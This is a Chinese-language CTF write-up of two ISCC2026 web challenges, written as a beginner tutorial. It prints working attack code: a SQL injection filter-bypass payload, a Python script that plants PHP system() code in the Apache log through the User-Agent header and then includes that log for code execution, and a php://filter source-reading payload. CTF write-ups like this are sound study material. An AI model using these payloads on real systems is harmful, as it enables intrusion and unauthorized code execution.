ISCC2026部分web题wp
前言:从CTF到Web安全ISCC(Information Security and Countermeasures Contest)是国内知名的信息安全竞赛,其Web题目涵盖了从基础到进阶的多种漏洞类型。对于编程初学者来说,Web安全是一个极好的实践领域——你不仅能巩固编程基础,还能理解网络协议、数据库和前后端交互的深层原理。本文将通过两道典型Web题目,从基础概念讲到高级利用手法,帮助你逐步掌握CTF中的Web解题思路。## 基础篇:从SQL注入到代码审计### 什么是SQL注入?SQL注入是最经典的Web漏洞之一。当用户输入被直接拼接到SQL查询语句中时,攻击者可以通过精心构造的输入改变SQL语句的语义,从而窃取、篡改数据。例如,一个简单的登录查询:sqlSELECT * FROM users WHERE username='admin' AND password='123456'如果用户输入admin' --,那么注释符--会注释掉后续的密码检查,导致绕过认证。### 第一道题:简单的SQL注入绕过题目描述:一个登录页面,需要以admin身份登录,但密码被过滤了空格和关键字。解题思路:在过滤空格时,我们可以使用/**/代替空格;过滤or时,可以用||替代。最终payload:admin'/**/||/**/1=1--完整解题代码(Python脚本):pythonimport requests# 目标URLurl = "http://example.com/login.php"# 构造绕过过滤的payload# 使用/**/代替空格,||代替or逻辑payload = "admin'/**/||/**/1=1--"# 发送POST请求data = { "username": payload, "password": "anything" # 密码字段随意,因为被注释掉了}response = requests.post(url, data=data)# 检查返回内容是否包含登录成功标志if "Welcome" in response.text: print("登录成功!Flag可能包含在响应中。") # 提取flag(假设格式为ISCC{...}) import re flag = re.search(r'ISCC\{[^}]+\}', response.text) if flag: print("Flag:", flag.group())else: print("失败,尝试其他payload")这段代码展示了如何自动化发送请求并提取flag。关键点在于理解SQL注入的绕过技巧:用注释块代替空格,用SQL语法中的等价操作符代替被过滤的关键字。## 进阶篇:文件包含与远程代码执行### 什么是文件包含漏洞?当应用程序使用动态文件包含函数(如PHP的include())且未严格过滤用户输入时,攻击者可能包含任意文件。如果允许包含远程文件,甚至可能导致远程代码执行(RCE)。### 第二道题:日志文件包含题目描述:一个文件查看功能,参数file指定要查看的文件,但限制了只能查看.txt文件。服务器存在Web日志,且日志中记录User-Agent。解题思路: 1. 通过修改HTTP请求的User-Agent字段,写入PHP代码到日志文件。 2. 利用文件包含漏洞,包含日志文件,从而执行写入的PHP代码。 3. 通过代码执行读取flag文件。完整解题代码(Python脚本):pythonimport requests# 目标URLtarget_url = "http://example.com/index.php?file="# 日志文件路径(根据服务器配置推测)log_path = "../../var/log/apache2/access.log"# 攻击者服务器地址(用于测试,实际可省略)attacker_ip = "192.168.1.100"# 第一步:向日志写入PHP代码(通过User-Agent)# 注意:PHP代码需要避开引号冲突,这里使用system函数执行系统命令malicious_agent = "<?php system('cat /flag.txt'); ?>"# 发送请求,使服务器记录恶意User-Agent到日志headers = { "User-Agent": malicious_agent, "X-Forwarded-For": attacker_ip # 有时也记录此字段}print("[*] 正在向日志写入恶意代码...")response = requests.get(target_url + "test.txt", headers=headers)# 第二步:包含日志文件,触发代码执行print("[*] 正在包含日志文件以执行代码...")response = requests.get(target_url + log_path)# 查看响应中是否包含flagif "ISCC{" in response.text or "flag" in response.text.lower(): print("[+] 成功获取flag!") print(response.text)else: print("[-] 失败,可能原因:") print("- 日志路径不正确") print("- 服务器配置禁止远程包含") print("- User-Agent被转义") # 可以尝试其他路径,如../../tmp/log这段代码演示了经典的两步攻击:先污染日志,再包含日志。关键点在于:- 理解文件包含的路径构造(相对路径与绝对路径)- 掌握PHP代码注入的写法(注意不要破坏语法)- 知道日志文件的常见位置(如Apache的access.log或error.log)## 高级利用:绕过过滤与提权在真实CTF中,题目往往有更多限制。例如:-WAF过滤:可能过滤system、exec等函数。此时可以用assert、preg_replace的/e模式(已废弃)或反引号执行。-路径限制:可能只允许包含.php文件。此时可以通过php://filter读取源码,或利用phar://协议反序列化。-日志清理:有时服务器会清理日志中的特殊字符。可以尝试编码绕过,如URL编码或Base64编码。高级技巧示例(使用php://filter读取源码):python# 当无法直接执行命令时,先读取源码寻找更多漏洞payload = "php://filter/convert.base64-encode/resource=index.php"response = requests.get(target_url + payload)# 解码base64得到源码import base64print(base64.b64decode(response.text).decode())## 总结通过ISCC2026这两道Web题目,我们从基础SQL注入走到了高级文件包含利用。核心收获如下:1.理解漏洞原理:SQL注入的本质是数据与代码未分离;文件包含的本质是动态包含点不可控。2.掌握绕过技巧:面对过滤,要思考等价替换(空格→注释、关键字→编码)。3.学会自动化:用Python脚本批量测试、提取flag,是CTF必备技能。4.保持耐心:Web题目往往需要结合多种技巧,一次尝试失败后要反思原因(路径错误?编码问题?WAF拦截?)。最后,安全攻防是编程能力的最佳试金石。当你写出第一个成功注入的脚本时,你不仅学会了Python的requests库,更理解了如何用编程思维模拟人机交互。继续练习,ISCC的奖杯在等你!